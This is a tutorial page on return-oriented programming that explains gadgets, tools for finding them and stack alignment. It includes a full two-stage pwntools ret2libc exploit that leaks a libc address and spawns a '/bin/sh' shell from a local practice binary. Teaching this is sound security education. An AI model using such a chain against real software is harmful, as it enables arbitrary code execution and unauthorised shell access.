Return-Oriented Programming
Chain together small existing code snippets (gadgets) to execute arbitrary logic when the stack is non-executable.
// prerequisite reading
Why ROP?
When NX (non-executable stack) is enabled, injecting shellcode onto the stack
and jumping to it crashes with a segfault. ROP works by chaining together
small sequences of existing code — gadgets — that end in ret. Each
ret pops the next gadget address off the stack, letting you compose
arbitrarily complex behaviour from snippets already present in the binary or
its libraries.
A gadget
A gadget is any sequence ending in ret. Example:
pop rdi ; takes next stack value into rdi
ret ; jumps to next gadget address
Feeding this gadget address + a value + the next address lets you set rdi
to any value before calling a function.
Finding gadgets
# pwntools
rop = ROP(elf)
rop.find_gadget(['pop rdi', 'ret'])
# ROPgadget tool
ROPgadget --binary ./vuln | grep "pop rdi"
# pwndbg inside GDB
rop --grep "pop rdi ; ret"
The ret2libc chain
The classic NX bypass: call system("/bin/sh").
- Leak a libc address — call
puts(puts@got)to print the runtime address ofputs. - Calculate libc base —
libc_base = leaked_puts - libc.sym['puts']. - Call system — build a chain that sets
rdi = "/bin/sh"address and jumps tosystem.
from pwn import *
elf = ELF("./vuln")
libc = ELF("./libc.so.6")
io = process("./vuln")
rop = ROP(elf)
# Stage 1 — leak puts
rop.call(elf.plt['puts'], [elf.got['puts']])
rop.call(elf.sym['main']) # return to main for stage 2
io.sendline(b"A" * offset + bytes(rop))
io.recvuntil(b"\n")
leaked = u64(io.recv(6) + b"\x00\x00")
libc.address = leaked - libc.sym['puts']
# Stage 2 — call system("/bin/sh")
rop2 = ROP(libc)
rop2.call(libc.sym['system'], [next(libc.search(b"/bin/sh\x00"))])
io.sendline(b"A" * offset + bytes(rop2))
io.interactive()
Stack alignment
On 64-bit Linux, system() requires the stack to be 16-byte aligned. If your
chain crashes inside system, add an extra ret gadget before the call:
rop.ret # adds a bare `ret` to pad alignment